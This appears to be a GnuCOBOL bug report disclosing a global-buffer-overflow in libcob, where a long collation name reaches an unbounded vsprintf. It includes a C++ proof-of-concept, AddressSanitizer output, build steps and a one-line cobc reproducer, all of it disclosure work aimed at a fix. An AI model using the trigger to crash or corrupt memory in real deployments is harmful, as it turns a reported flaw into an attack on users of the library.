vsprintf into 1024-byte runtime_err_str overflows on long collation name in cob_load_collationcob_load_collation() (libcob/cconv.c) reports a missing translation-table file by passing the caller-supplied col_name verbatim to cob_runtime_error(). That message is formatted into the fixed 1024-byte global buffer runtime_err_str via unbounded vsprintf() (libcob/common.c:9058), so a collation name longer than ~1010 bytes overflows the buffer. The API places no length limit on col_name, and "file unknown → return -1" is the documented behaviour, so the overflow in the error path is a library bug, not API misuse.
$ git describe --tags --always
a672a26b
origin/gnucobol-3.x (tip; gnucobol-3.2-rc2 is the most recent tag, 330 commits behind HEAD — no tag describes a672a26b)a672a26b52b594bd0ebfdcfe0200613c572018d5 (2026-06-09, "Fix handling of some special contexts, and provide room for more")cob_load_collation() resolves the table name to a filename and, when fopen() fails, reports the error using the original (untruncated) col_name:
// libcob/cconv.c:168-172
f = fopen (filename, "r");
if (f == NULL) {
cob_runtime_error (_("can't open translation table '%s'"), col_name); // col_name passed verbatim, no length guard
return -1;
}
cob_runtime_error() delegates formatting to cob_setup_runtime_error_str(), which writes the formatted message into the fixed global buffer with unbounded vsprintf:
// libcob/common.c:351
#define COB_ERRBUF_SIZE 1024
// libcob/common.c:433
static char runtime_err_str[COB_ERRBUF_SIZE] = { 0 };
// libcob/common.c:9044-9059
static void COB_NOINLINE
cob_setup_runtime_error_str (const char *fmt, va_list ap)
{
char *p = runtime_err_str;
/* ... optional "file:line: " prefix via sprintf, advancing p ... */
vsprintf (p, fmt, ap); // line 9058 — unbounded; should be vsnprintf(p, runtime_err_str + COB_ERRBUF_SIZE - p, fmt, ap)
}
The PoC reaches the bug by initializing the runtime, entering a module, and calling cob_load_collation() with a ~1099-byte non-path name. Because the name does not begin with . or /, cconv.c takes the config-dir branch and constructs "<COB_CONFIG_DIR>/<name>.ttbl"; that file does not exist, fopen() returns NULL, and cob_runtime_error("can't open translation table '%s'", col_name) formats the full name into the 1024-byte buffer, writing 1131 bytes — a global-buffer-overflow.
This is a library bug, not API misuse:
cob_load_collation is declared in libcob/common.h as cob_load_collation (const char *, cob_u8_t *, cob_u8_t *) with the header comment: "Load a file ... Return 0 on success or -1 on error (file unknown or containing invalid data)." No length restriction is documented for col_name; the two output table pointers are explicitly allowed to be NULL.-1 return is within contract. The library owns the error-reporting path and the fixed-size buffer; the overflow happens entirely inside cob_setup_runtime_error_str() before control returns to the caller.cconv.c guards the filename against COB_FILE_MAX (4095) — far larger than COB_ERRBUF_SIZE (1024) — but never truncates col_name before handing it to cob_runtime_error(), leaving a wide window (names between ~1010 and 4090 bytes) where the filename fits but the error message overflows.// poc.cpp
#include <cstdint>
#include <cstring>
extern "C" {
#include "libcob/common.h"
}
extern "C" int cob_load_collation(const char *col_name,
cob_u8_t *ebcdic_to_ascii,
cob_u8_t *ascii_to_ebcdic);
int main(void) {
/* Initialize the GnuCOBOL runtime and enter a module so the runtime-error
machinery has a valid module context. */
char *argv[] = { (char *)"poc", NULL };
cob_init(1, argv);
cob_module *module = NULL;
cob_global *cobglobptr = NULL;
cob_module_enter(&module, &cobglobptr, 0);
/* cob_runtime_error inspects the current module's procedure params; give it
a valid zeroed array so the error path is reached cleanly. */
static cob_field *proc_params[4] = { NULL, NULL, NULL, NULL };
module->cob_procedure_params = proc_params;
/* A collation name well over the 1024-byte runtime_err_str limit. It must
NOT start with '.' or '/' so cconv.c takes the config-dir branch
(snprintf into filename[COB_FILE_MAX]) and the .ttbl file does not exist,
forcing the fopen()==NULL error path. */
char name[1100];
memset(name, 'A', sizeof(name) - 1);
name[sizeof(name) - 1] = '\0';
unsigned char coll_table[256];
unsigned char reverse_table[256];
memset(coll_table, 0, sizeof(coll_table));
memset(reverse_table, 0, sizeof(reverse_table));
/* fopen() fails -> cob_runtime_error("can't open translation table '%s'",
col_name) -> vsprintf overflows runtime_err_str[1024]. */
cob_load_collation(name, coll_table, reverse_table);
return 0;
}
Full sanitizer output from the minimized main() PoC:
=================================================================
==561146==ERROR: AddressSanitizer: global-buffer-overflow on address 0x64024f2f09e0 at pc 0x64024e48ca2f bp 0x7fff63025e90 sp 0x7fff63025640
WRITE of size 1131 at 0x64024f2f09e0 thread T0
#0 0x64024e48ca2e in vsprintf (/tmp/gnucobol_poc/poc+0x1e7a2e) (BuildId: 25ce9e5fd15f829dc48a4ceccfd1427f7eb6e43b)
#1 0x64024e5a87b7 in cob_setup_runtime_error_str /tmp/gnucobol_latest/libcob/common.c:9058:2
#2 0x64024e5640d7 in cob_runtime_error /tmp/gnucobol_latest/libcob/common.c:9071:2
#3 0x64024e81b0ef in cob_load_collation /tmp/gnucobol_latest/libcob/cconv.c:170:3
#4 0x64024e54e41e in main /tmp/gnucobol_poc/poc.cpp:70:5
#5 0x7ca3c42a51c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x7ca3c42a528a in __libc_start_main csu/../csu/libc-start.c:360:3
#7 0x64024e463264 in _start (/tmp/gnucobol_poc/poc+0x1be264) (BuildId: 25ce9e5fd15f829dc48a4ceccfd1427f7eb6e43b)
0x64024f2f09e0 is located 0 bytes after global variable 'runtime_err_str' defined in '/tmp/gnucobol_latest/libcob/common.c:433' (0x64024f2f05e0) of size 1024
SUMMARY: AddressSanitizer: global-buffer-overflow (/tmp/gnucobol_poc/poc+0x1e7a2e) (BuildId: 25ce9e5fd15f829dc48a4ceccfd1427f7eb6e43b) in vsprintf
Shadow bytes around the buggy address:
0x64024f2f0700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x64024f2f0780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x64024f2f0800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x64024f2f0880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x64024f2f0900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x64024f2f0980: 00 00 00 00 00 00 00 00 00 00 00 00[f9]f9 f9 f9
0x64024f2f0a00: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x64024f2f0a80: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x64024f2f0b00: 00 f9 f9 f9 04 f9 f9 f9 04 f9 f9 f9 00 00 00 00
0x64024f2f0b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 f9
0x64024f2f0c00: f9 f9 f9 f9 00 f9 f9 f9 04 f9 f9 f9 00 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==561146==ABORTING
git clone https://github.com/OCamlPro/gnucobol.git
cd gnucobol
git checkout a672a26b52b594bd0ebfdcfe0200613c572018d5 # origin/gnucobol-3.x tip
# build deps (Ubuntu/Debian):
sudo apt-get install -y clang clang++ autopoint gettext help2man bison flex \
libgmp-dev libxml2-dev libjson-c-dev libncurses-dev libdb-dev
export CC=clang CXX=clang++
export CFLAGS="-fsanitize=address,undefined -fno-sanitize=function \
-fsanitize-address-use-after-scope -g -O0 -fno-omit-frame-pointer -fPIC"
export CXXFLAGS="$CFLAGS" LDFLAGS="$CXXFLAGS"
export WORK=$PWD/_san # install prefix
autoreconf --force --install -I m4
mkdir _build && cd _build
../configure --prefix="$WORK" --enable-static --disable-shared \
--with-math=gmp --with-json=json-c --enable-debug --disable-hardening \
CC="$CC" CXX="$CXX" CFLAGS="$CFLAGS" CXXFLAGS="$CXXFLAGS"
make -j"$(nproc)"
make install
main(), no -fsanitize=fuzzer):cd /path/to/poc_dir # contains poc.cpp
clang++ -g -O0 -fno-omit-frame-pointer -ftrivial-auto-var-init=zero \
-fsanitize=address,undefined -fno-sanitize=function \
-fsanitize-address-use-after-scope \
-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION \
-I"$WORK/include" poc.cpp -o poc \
-Wl,--start-group "$WORK"/lib/lib*.a -Wl,--end-group \
-lgmp -lxml2 -ljson-c -lpanelw -lncursesw -ltinfo -ldb-5.3
./poc
# => AddressSanitizer: global-buffer-overflow ... WRITE of size 1131
# #1 cob_setup_runtime_error_str libcob/common.c:9058
# #2 cob_runtime_error libcob/common.c:9071
# #3 cob_load_collation libcob/cconv.c:170
# #4 main poc.cpp:70
The crash reproduces on the latest origin/gnucobol-3.x tip (a672a26b); the vulnerable lines are unchanged from the snapshot under test.
This report was produced by FuzzAnything's AI-assisted library fuzzer and manually verified by a team member. We reviewed the PoC against the upstream API documentation — call order, parameters, and memory ownership — and found no API misuse.
Signed-off-by: FuzzAnything fuzzanything@gmail.com
The title was totally wrong. @psy99 There should be a proper bug report for "Signed-integer overflow in cob_display_get_int reached via FUNCTION FORMATTED-DATE"... but the string overflow presented here (mentioned already in [bugs:#1245] by @imiab) is indeed an issue.
I've lowered the priority as this needs either a manual library call to libcob with a very bad parameter or the main use (call from cobc) with the same.
Easy reproducer:
cobc -febcdic-table=$(printf '%2000s' ' ' | tr ' ' 'X') -To Do:
Related
Bugs: #1245